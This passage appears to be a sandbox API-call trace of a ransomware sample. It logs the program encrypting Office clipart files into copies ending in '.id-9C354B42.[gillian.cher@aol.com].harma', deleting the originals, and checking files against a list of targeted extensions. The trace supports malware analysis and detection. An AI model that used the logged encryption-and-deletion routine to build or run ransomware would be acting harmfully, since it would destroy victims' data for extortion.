lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x17b6, lpOverlapped=0x0) returned 1 [0142.118] WriteFile (in: hFile=0x21c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x17c0, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x17c0, lpOverlapped=0x0) returned 1 [0142.122] ReadFile (in: hFile=0x350, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.122] WriteFile (in: hFile=0x21c, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.122] SetEndOfFile (hFile=0x21c) returned 1 [0142.122] CloseHandle (hObject=0x21c) returned 1 [0142.123] SetFilePointerEx (in: hFile=0x350, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.123] SetEndOfFile (hFile=0x350) returned 1 [0142.125] CloseHandle (hObject=0x350) returned 1 [0142.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0142.125] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_04.mid")) returned 1 [0142.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.126] lstrlenW (lpString=".doc") returned 4 [0142.126] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.126] lstrlenW (lpString=".docx") returned 5 [0142.126] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0142.126] lstrlenW (lpString=".pdf") returned 4 [0142.126] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.126] lstrlenW (lpString=".xls") returned 4 [0142.126] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.126] lstrlenW (lpString=".xlsx") returned 5 [0142.126] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0142.126] lstrlenW (lpString=".ppt") returned 4 [0142.126] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.126] lstrlenW (lpString=".zip") returned 4 [0142.126] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.126] lstrlenW (lpString=".rar") returned 4 [0142.126] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.126] lstrlenW (lpString=".bz2") returned 4 [0142.126] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.126] lstrlenW (lpString=".7z") returned 3 [0142.126] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.126] lstrlenW (lpString=".dbf") returned 4 [0142.126] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.126] lstrlenW (lpString=".1cd") returned 4 [0142.126] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.127] lstrlenW (lpString=".jpg") returned 4 [0142.127] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.127] lstrlenW (lpString=".doc") returned 4 [0142.127] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0142.127] lstrlenW (lpString=".docx") returned 5 [0142.127] lstrcmpiW (lpString1=".docx", lpString2="4.MID") returned -1 [0142.127] lstrlenW (lpString=".pdf") returned 4 [0142.127] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0142.127] lstrlenW (lpString=".xls") returned 4 [0142.127] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0142.127] lstrlenW (lpString=".xlsx") returned 5 [0142.127] lstrcmpiW (lpString1=".xlsx", lpString2="4.MID") returned -1 [0142.127] lstrlenW (lpString=".ppt") returned 4 [0142.127] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0142.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.127] lstrlenW (lpString=".zip") returned 4 [0142.127] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0142.127] lstrlenW (lpString=".rar") returned 4 [0142.127] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0142.127] lstrlenW (lpString=".bz2") returned 4 [0142.127] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0142.127] lstrlenW (lpString=".7z") returned 3 [0142.127] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0142.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.127] lstrlenW (lpString=".dbf") returned 4 [0142.127] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0142.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.127] lstrlenW (lpString=".1cd") returned 4 [0142.128] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0142.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_04.MID") returned 63 [0142.128] lstrlenW (lpString=".jpg") returned 4 [0142.128] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0142.128] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0142.128] lstrlenW (lpString="PARNT_05.MID") returned 12 [0142.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.308] GetFileSizeEx (in: hFile=0x210, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6020) returned 1 [0142.308] CloseHandle (hObject=0x210) returned 1 [0142.308] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 0x20 [0142.415] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0142.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x214 [0142.415] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.415] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0142.493] GetLastError () returned 0x0 [0142.493] ReadFile (in: hFile=0x214, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1784, lpOverlapped=0x0) returned 1 [0142.495] WriteFile (in: hFile=0x210, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1790, lpOverlapped=0x0) returned 1 [0142.496] ReadFile (in: hFile=0x214, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0142.496] WriteFile (in: hFile=0x210, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0142.496] SetEndOfFile (hFile=0x210) returned 1 [0142.496] CloseHandle (hObject=0x210) returned 1 [0142.497] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0142.497] SetEndOfFile (hFile=0x214) returned 1 [0142.499] CloseHandle (hObject=0x214) returned 1 [0142.499] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.150] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_05.mid")) returned 1 [0143.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.207] lstrlenW (lpString=".doc") returned 4 [0143.207] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.207] lstrlenW (lpString=".docx") returned 5 [0143.207] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0143.207] lstrlenW (lpString=".pdf") returned 4 [0143.207] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.207] lstrlenW (lpString=".xls") returned 4 [0143.207] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.207] lstrlenW (lpString=".xlsx") returned 5 [0143.207] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0143.207] lstrlenW (lpString=".ppt") returned 4 [0143.207] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.207] lstrlenW (lpString=".zip") returned 4 [0143.208] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.208] lstrlenW (lpString=".rar") returned 4 [0143.208] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.208] lstrlenW (lpString=".bz2") returned 4 [0143.208] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.208] lstrlenW (lpString=".7z") returned 3 [0143.208] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.208] lstrlenW (lpString=".dbf") returned 4 [0143.208] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.208] lstrlenW (lpString=".1cd") returned 4 [0143.208] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.208] lstrlenW (lpString=".jpg") returned 4 [0143.208] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.208] lstrlenW (lpString=".doc") returned 4 [0143.208] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.208] lstrlenW (lpString=".docx") returned 5 [0143.208] lstrcmpiW (lpString1=".docx", lpString2="5.MID") returned -1 [0143.208] lstrlenW (lpString=".pdf") returned 4 [0143.208] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.208] lstrlenW (lpString=".xls") returned 4 [0143.208] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.208] lstrlenW (lpString=".xlsx") returned 5 [0143.208] lstrcmpiW (lpString1=".xlsx", lpString2="5.MID") returned -1 [0143.208] lstrlenW (lpString=".ppt") returned 4 [0143.208] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.208] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.208] lstrlenW (lpString=".zip") returned 4 [0143.209] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.209] lstrlenW (lpString=".rar") returned 4 [0143.209] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.209] lstrlenW (lpString=".bz2") returned 4 [0143.209] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.209] lstrlenW (lpString=".7z") returned 3 [0143.209] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.209] lstrlenW (lpString=".dbf") returned 4 [0143.209] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.209] lstrlenW (lpString=".1cd") returned 4 [0143.209] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_05.MID") returned 63 [0143.209] lstrlenW (lpString=".jpg") returned 4 [0143.209] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.209] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.209] lstrlenW (lpString="ROAD_01.MID") returned 11 [0143.209] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0143.268] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=5983) returned 1 [0143.268] CloseHandle (hObject=0x34c) returned 1 [0143.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0143.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.298] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.298] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0143.298] GetLastError () returned 0x0 [0143.298] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x175f, lpOverlapped=0x0) returned 1 [0143.320] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1760, lpOverlapped=0x0) returned 1 [0143.321] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.321] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xea, lpOverlapped=0x0) returned 1 [0143.321] SetEndOfFile (hFile=0x364) returned 1 [0143.324] CloseHandle (hObject=0x364) returned 1 [0143.324] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.324] SetEndOfFile (hFile=0x338) returned 1 [0143.329] CloseHandle (hObject=0x338) returned 1 [0143.329] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0143.330] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 1 [0143.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.330] lstrlenW (lpString=".doc") returned 4 [0143.330] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.330] lstrlenW (lpString=".docx") returned 5 [0143.330] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.330] lstrlenW (lpString=".pdf") returned 4 [0143.330] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.330] lstrlenW (lpString=".xls") returned 4 [0143.331] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.331] lstrlenW (lpString=".xlsx") returned 5 [0143.331] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.331] lstrlenW (lpString=".ppt") returned 4 [0143.331] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.331] lstrlenW (lpString=".zip") returned 4 [0143.331] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.331] lstrlenW (lpString=".rar") returned 4 [0143.331] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.331] lstrlenW (lpString=".bz2") returned 4 [0143.331] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.331] lstrlenW (lpString=".7z") returned 3 [0143.331] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.331] lstrlenW (lpString=".dbf") returned 4 [0143.331] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.331] lstrlenW (lpString=".1cd") returned 4 [0143.331] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.331] lstrlenW (lpString=".jpg") returned 4 [0143.331] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.331] lstrlenW (lpString=".doc") returned 4 [0143.331] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0143.331] lstrlenW (lpString=".docx") returned 5 [0143.331] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0143.332] lstrlenW (lpString=".pdf") returned 4 [0143.332] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0143.332] lstrlenW (lpString=".xls") returned 4 [0143.332] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0143.332] lstrlenW (lpString=".xlsx") returned 5 [0143.332] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0143.332] lstrlenW (lpString=".ppt") returned 4 [0143.332] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0143.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.332] lstrlenW (lpString=".zip") returned 4 [0143.332] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0143.332] lstrlenW (lpString=".rar") returned 4 [0143.332] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0143.332] lstrlenW (lpString=".bz2") returned 4 [0143.332] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0143.332] lstrlenW (lpString=".7z") returned 3 [0143.332] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0143.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.332] lstrlenW (lpString=".dbf") returned 4 [0143.332] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0143.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.332] lstrlenW (lpString=".1cd") returned 4 [0143.332] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0143.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0143.332] lstrlenW (lpString=".jpg") returned 4 [0143.332] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0143.333] lstrcmpiW (lpString1=".MID", lpString2=".harma") returned 1 [0143.333] lstrlenW (lpString="SPRNG_01.MID") returned 12 [0143.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.333] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=6700) returned 1 [0143.333] CloseHandle (hObject=0x338) returned 1 [0143.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid")) returned 0x20 [0143.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0143.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0143.334] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.334] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec8 | out: lpNewFilePointer=0x0) returned 1 [0143.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SPRNG_01.MID.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sprng_01.mid.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0143.334] GetLastError () returned 0x0 [0143.334] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x1a2c, lpOverlapped=0x0) returned 1 [0143.337] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0x1a30, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0x1a30, lpOverlapped=0x0) returned 1 [0143.338] ReadFile (in: hFile=0x338, lpBuffer=0x4050020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fed4, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesRead=0x363fed4*=0x0, lpOverlapped=0x0) returned 1 [0143.339] WriteFile (in: hFile=0x364, lpBuffer=0x4050020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4050020*, lpNumberOfBytesWritten=0x363fc9c*=0xec, lpOverlapped=0x0) returned 1 [0143.339] SetEndOfFile (hFile=0x364) returned 1 [0143.339] CloseHandle (hObject=0x364) returned 1 